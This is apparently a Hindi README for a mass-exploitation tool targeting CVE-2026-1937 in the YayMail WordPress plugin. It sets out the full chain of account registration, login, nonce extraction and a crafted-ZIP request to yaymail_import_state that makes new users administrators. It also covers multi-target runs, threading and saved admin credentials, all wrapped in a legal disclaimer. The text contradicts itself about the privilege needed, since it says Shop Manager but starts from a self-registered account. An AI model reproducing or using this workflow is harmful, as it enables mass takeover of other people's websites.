
YayMail <= 4.3.2 - 'yaymail_import_state' AJAX Action के माध्यम से प्रमाणित (Shop Manager+) उपयोगकर्ताओं द्वारा मनमाना विकल्प अद्यतन करने के लिए लापता प्राधिकरण
विवरण:
WordPress के लिए YayMail – WooCommerce Email Customizer प्लगइन, 4.3.2 तक के सभी संस्करणों में, विशेषाधिकार वृद्धि (Privilege Escalation) की ओर ले जाने वाले अनधिकृत डेटा संशोधन के प्रति संवेदनशील है। yaymail_import_state AJAX क्रिया बिना किसी सर्वर-साइड क्षमता जाँच के पंजीकृत है, जिससे Shop Manager-स्तर या उससे ऊपर की पहुँच रखने वाले प्रमाणित हमलावर इसे स्वतंत्र रूप से आमंत्रित कर सकते हैं। एक क्राफ्टेड ZIP आयात फ़ाइल अपलोड करके, हमलावर WordPress साइट के मनमाने विकल्पों को चुपचाप अधिलेखित कर सकता है — जिसमें नए उपयोगकर्ता पंजीकरण की डिफ़ॉल्ट भूमिका को administrator पर सेट करना और खुला सार्वजनिक पंजीकरण सक्षम करना शामिल है। एक बार ये विकल्प इंजेक्ट हो जाने पर, कोई भी आगंतुक साइट पर स्व-पंजीकरण कर सकता है और पूर्ण WordPress व्यवस्थापक खाता प्राप्त कर सकता है, जिसके परिणामस्वरूप साइट पूरी तरह से समझौता हो जाती है।
यह YayMail प्लगइन के संवेदनशील संस्करण चला रहे WordPress + WooCommerce इंस्टॉलेशन को लक्षित करने वाली एक Proof-of-Concept (PoC) सामूहिक शोषण श्रृंखला है। यह टूल पूर्ण एंड-टू-एंड हमले को लागू करता है: WooCommerce पंजीकरण → लॉगिन → YayMail nonce निष्कर्षण → yaymail_import_state शोषण → व्यवस्थापक सत्यापन।
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — क्राफ्टेड आयात पेलोड (आवश्यक)pip install requests urllib3 rich
या requirements फ़ाइल के माध्यम से:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
यह टूल Rich द्वारा संचालित पूर्णतः इंटरैक्टिव टर्मिनल इंटरफ़ेस का उपयोग करता है।
एक सादा टेक्स्ट फ़ाइल बनाएँ (डिफ़ॉल्ट: list.txt) — प्रति पंक्ति एक लक्ष्य:
https://target1.com
https://target2.com
http://target3.com
target4.com
जिन लक्ष्यों के साथ
http://याhttps://नहीं है, उनके आगे स्वतःhttps://जोड़ दिया जाता है।
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipइस शोषण के लिए एक क्राफ्टेड YayMail आयात ZIP फ़ाइल की आवश्यकता होती है जो आयात करने पर निम्नलिखित WordPress विकल्पों को अधिलेखित कर देती है:
| WordPress विकल्प | इंजेक्ट किया गया मान |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ यदि कार्यशील निर्देशिका में
yaymail_backup.zipमौजूद नहीं है तो टूल चलने से इनकार कर देगा।
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
मूल कारण:
yaymail_import_state हैंडलर आयात को संसाधित करने से पहले current_user_can() या किसी समकक्ष क्षमता जाँच को कॉल नहीं करता है। shop_manager भूमिका (या उससे ऊपर) रखने वाला कोई भी उपयोगकर्ता इस क्रिया को स्वतंत्र रूप से आमंत्रित कर सकता है और ZIP आयात तंत्र के माध्यम से wp_options तालिका की मनमानी प्रविष्टियों को अधिलेखित कर सकता है।
यह टूल पंजीकरण और लॉगिन फ़ॉर्म के लिए निम्नलिखित पथों को स्वतः स्कैन करता है:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| फ़ाइल | विवरण |
|---|---|
reg.txt | क्रेडेंशियल्स सहित सभी सफल WooCommerce पंजीकरण |
Nx_admin.txt | सभी पुष्टिकृत व्यवस्थापक विशेषाधिकार वृद्धि |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
द्वारा: Nxploited (Khaled Alenazi)
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
लेखक, Nxploited (Khaled Alenazi), और इस परियोजना के सभी योगदानकर्ता, इस टूल के दुरुपयोग या उन प्रणालियों के विरुद्ध इस सॉफ़्टवेयर के उपयोग से होने वाली किसी भी क्षति के लिए न तो समर्थन करते हैं, न ही प्रोत्साहित करते हैं, और न ही कोई ज़िम्मेदारी लेते हैं जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।
- ✅ अनुमत: उन प्रणालियों पर उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपको स्पष्ट लिखित अनुमति दी गई है।
- ❌ निषिद्ध: सिस्टम स्वामी से पूर्व स्पष्ट लिखित प्राधिकरण के बिना किसी भी प्रणाली के विरुद्ध उपयोग करना।
कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है और लागू कानूनों के तहत दंडनीय है, जिसमें कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट (CMA), और दुनिया भर के समकक्ष कानून शामिल हैं, लेकिन इन्हीं तक सीमित नहीं हैं।
इस टूल का उपयोग करके, आप अपने कार्यों की पूर्ण और एकमात्र ज़िम्मेदारी स्वीकार करते हैं और पुष्टि करते हैं कि आपके पास लक्षित प्रणालियों के परीक्षण का कानूनी अधिकार है।
लेखक इस सॉफ़्टवेयर के उपयोग या दुरुपयोग से उत्पन्न किसी भी प्रत्यक्ष, अप्रत्यक्ष, आकस्मिक, या परिणामी क्षति के लिए कोई दायित्व नहीं मानता है।
© 2026 Nxploited (Khaled Alenazi) — केवल अधिकृत सुरक्षा अनुसंधान हेतु।
| फ़ील्ड | विवरण |
|---|
| CVE आईडी | CVE-2026-1937 |
| गंभीरता | HIGH — CVSS v3.1 स्कोर: 7.2 |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| शोधकर्ता | Daniel Basta (whizzu) — NASK PIB |
| सार्वजनिक रूप से प्रकाशित | 17 फ़रवरी, 2026 |
| अंतिम अद्यतन | 27 मार्च, 2026 |
| प्रभावित सॉफ़्टवेयर | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| प्रभावित संस्करण | 4.3.2 तक के सभी संस्करण |
| भेद्यता प्रकार | लापता प्राधिकरण → अनधिकृत मनमाना विकल्प अद्यतन → विशेषाधिकार वृद्धि |
| प्रमाणीकरण आवश्यक | हाँ — Shop Manager स्तर या उससे ऊपर |
| CWE | CWE-862: लापता प्राधिकरण |
| स्थिति | रंग | अर्थ |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 हरा | पूर्ण श्रृंखला सफल — व्यवस्थापक की पुष्टि हुई |
EXPLOITED (ADMIN) | 🟢 हरा | पंजीकृत उपयोगकर्ता पहले से ही व्यवस्थापक था |
PARTIAL | 🟡 पीला | YayMail आयात सफल रहा लेकिन व्यवस्थापक पहुँच की पुष्टि नहीं हुई |
REGISTERED | 🟡 पीला | WooCommerce पंजीकरण सफल रहा |
LOGIN-WP | 🔵 सियान | /wp-login.php के माध्यम से लॉगिन किया गया |
LOGIN-WOO | 🔵 सियान | WooCommerce फ़ॉर्म के माध्यम से लॉगिन किया गया |
NONCE-FOUND | 🟣 मैजेंटा | YayMail nonce सफलतापूर्वक निकाला गया |
NO-REGISTER | ⚫ गहरा | WooCommerce पंजीकरण फ़ॉर्म नहीं मिला |
LOGIN-FAILED | ⚫ गहरा | प्रमाणित सत्र स्थापित नहीं किया जा सका |
NONCE-NOT-FOUND | ⚫ गहरा | YayMail सेटिंग पृष्ठ दुर्गम है या nonce अनुपस्थित है |
EXPLOIT-FAILED | 🔴 लाल | yaymail_import_state कॉल ने सफलता नहीं लौटाई |
TIMEOUT | ⚫ गहरा | HTTP टाइमआउट |
DEAD | ⚫ गहरा | कनेक्शन अस्वीकृत / दुर्गम |
ERROR | 🔴 लाल | अप्रत्याशित अपवाद |